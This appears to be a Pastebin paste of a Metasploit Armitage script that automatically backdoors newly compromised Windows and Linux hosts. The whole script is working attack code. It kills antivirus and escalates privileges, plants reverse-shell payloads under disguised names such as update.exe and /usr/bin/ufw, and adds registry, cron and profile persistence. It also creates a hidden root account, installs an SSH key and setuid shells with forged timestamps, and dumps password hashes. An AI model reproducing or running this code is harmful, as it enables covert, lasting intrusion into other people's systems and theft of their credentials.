Guest User

Untitled

a guest
Jan 11th, 2019
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.87 KB | None | 0 0
  1. # Script to install/hide a few shells/accounts
  2. # To Do
  3. # Add dns server
  4. # Update hosts file with fake entries to break patching (evil grade?)
  5. # Author: __int128
  6. global('%infected');
  7. $win_user = 'lls_USER';
  8. $win_pass = '@pplesauc3';
  9. $local_ip = lhost();
  10.  
  11. on session_open {
  12. $rhost = session_host($1);
  13. if (%infected[session_host($1)] != "1") {
  14. if (host_os(session_host($1)) eq "Microsoft Windows") {
  15. if(-isshell $1) {
  16. cmd_async("sessions -u $1");
  17. }
  18. if(-iswinmeterpreter $1) {
  19. say("Infecting " . session_host($1));
  20. m_cmd($1, "getsystem");
  21. m_cmd($1, "run killav");
  22. m_cmd($1, "run metsvc");
  23. handler("windows/metsvc_bind_tcp", "31337", %(LHOST => lhost(), RHOST => $rhost));
  24.  
  25. $r_lport = random_port();
  26. # Generate Payload(s)
  27. $win_backdoor = generate("windows/meterpreter/reverse_tcp_allports", lhost(), $r_lport, %(), "exe");
  28. $handle = openf(">/tmp/update.exe");
  29. writeb($handle, $win_backdoor);
  30. closef($handle);
  31. handler("windows/meterpreter/reverse_tcp_allports", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
  32.  
  33. $r_lport = random_port();
  34. $win2_backdoor = generate("windows/meterpreter/reverse_tcp_allports", lhost(), $r_lport, %(), "dll");
  35. $handle = openf(">/tmp/linkinfo.dll");
  36. writeb($handle, $win2_backdoor);
  37. closef($handle);
  38. handler("windows/meterpreter/reverse_tcp_allports", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
  39. m_cd($1, 'c:\Windows\System32');
  40. m_upload($1, "/tmp/update.exe");
  41. m_cd($1, 'c:\Windows');
  42. m_upload($1, "/tmp/linkinfo.dll");
  43. m_cmd($1, "reg setval -k HKLM\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v update -d \"c:\\\\Windows\\\\System32\\\\update.exe\"");
  44.  
  45. $r_lport = random_port();
  46. m_cmd($1, "run persistence -X -i 60 -p $r_lport -r $local_ip");
  47. handler("windows/meterpreter/reverse_tcp", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
  48.  
  49. m_cmd($1, "run getgui -u $backdoor_user -p $backdoor_pass");
  50. m_cmd($1, "run gettelnet -u $backdoor_user -p $backdoor_pass");
  51. $rdp = "creds --add " . session_host($1) . " -p 3389 -u $win_user -P $win_pass";
  52. cmd_async($rdp);
  53. $tel = "creds --add " . session_host($1) . " -p 23 -u $win_user -P $win_pass";
  54. cmd_async($tel);
  55.  
  56. %infected[session_host($1)] = "1";
  57. m_cmd($1, "run hashdump");
  58. }
  59. }
  60. else if (host_os(session_host($1)) eq "Linux") {
  61. if (-isshell $1) {
  62. say("Infecting " . session_host($1));
  63. s_cmd($1, "mkdir /root/.ssh");
  64. # on load prompt for keys or generate?
  65. $handle = openf("/opt/metasploit/msf3/data/armitage/id_dsa.pub");
  66. $pub_key = readln($handle);
  67. s_cmd($1, "echo $pub_key >> /root/.ssh/authorized_keys");
  68. closef($handle);
  69. s_cmd($1, "echo 'administrator:\$6\$W6D9sKYe\$tPihBsmoYXNNBfDhmkT30tYqMdCtMN.zn9HpczbzVd0YMw9P5dAQnjQ4KqUN/4IG5xs4t1SUZP5k82vi5UWGc0:15578:0:99999:7:::' >> /etc/shadow"); # pass = abc123
  70. s_cmd($1, "echo 'administrator:x:0:0:nobody,,,,:/:/bin/bash' >>/etc/passwd");
  71. $ssh = "creds --add " . session_host($1) . " -p 22 -u administrator -P abc123";
  72. cmd_async($ssh);
  73.  
  74. # Generate Payload
  75. $r_lport = random_port();
  76. $backdoor = generate("linux/x86/meterpreter/reverse_tcp", lhost(), $r_lport, %(), "elf");
  77. $handle2 = openf(">/tmp/linux_backdoor");
  78. writeb($handle2, $backdoor);
  79. closef($handle2);
  80.  
  81. # set cron job
  82. s_cmd($1, "mkdir /etc/cron.5min");
  83. s_cmd($1, "echo '*/5 * * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.5min )' >> /etc/crontab");
  84. s_cmd($1, "echo '*/5 * * * * /etc/cron.5min/dpkg' >> /var/spool/cron/crontabs/root");
  85. s_cmd($1, "chmod 0600 /etc/crontab /etc/cron.5min /var/spool/cron/crontabs/root");
  86. shell_upload($1, "/tmp/linux_backdoor", "/etc/cron.5min/dpkg");
  87. s_cmd($1, "chmod 755 /etc/cron.5min/dpkg")
  88. s_cmd($1, "chattr +i /etc/cron.5min/dpkg");
  89.  
  90. # set profile
  91. shell_upload($1, "/tmp/linux_backdoor", "/usr/bin/ufw");
  92. s_cmd($1, "chmod 775 /usr/bin/ufw");
  93. s_cmd($1, "echo '/usr/bin/ufw &' >>/etc/profile");
  94. s_cmd($1, "echo '/usr/bin/ufw &' >>/etc/skel/.profile");
  95. s_cmd($1, "chattr +i /usr/bin/ufw /etc/profile /etc/skel/.profile");
  96.  
  97. # Create Backup Shell
  98. s_cmd($1, "cp /bin/zsh /.kernel; chmod +sss /.kernel; touch -d '4 May 2004' /.kernel; chattr +i /.kernel");
  99. s_cmd($1, "cp /bin/tcsh /tmp/X11.auth; chmod +sss /tmp/X11.auth; touch -d '4 May 2004' /tmp/X11.auth");
  100.  
  101. %infected[session_host($1)] = "1";
  102.  
  103. # Launch our aux shells
  104. handler("linux/x86/meterpreter/reverse_tcp", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
  105. auxiliary("scanner/ssh/ssh_login_pubkey", @($rhost), %(USERNAME => 'root', KEY_FILE => '/opt/metasploit/msf3/data/armitage/id_dsa'));
  106. login("scanner/ssh/ssh_login", @($rhost), "administrator", "abc123", %(LHOST => lhost(), LPORT => random_port()));
  107.  
  108. # Get hashes
  109. launch("post", "linux/gather/hashdump", %(SESSION => "$1"));
  110. db_sync();
  111. }
  112. }
  113. else {
  114. say("Failed to infect " . session_host($1) . ":" . host_os(session_host($1)));
  115. }
  116. }
  117. }
  118.  
  119. popup host_bottom {
  120. $rhost = $1;
  121. if (%infected[$1] == "1") {
  122. item "Re-establish connection" {
  123. if (host_os($1) eq "Microsoft Windows") {
  124. handler("windows/metsvc_bind_tcp", "31337", %(LHOST => lhost(), RHOST => $rhost));
  125. }
  126. if (host_os($1) eq "Linux") {
  127. foreach $entry (credentials()) {
  128. %cred = $entry;
  129. if(%cred["ptype"] iswm "*password*") {
  130. login("scanner/ssh/ssh_login", $rhost, %cred["user"], %cred["pass"], %(LHOST => lhost(), LPORT => random_port()));
  131. }
  132. }
  133. }
  134. }
  135. }
  136. }
Add Comment
Please, Sign In to add comment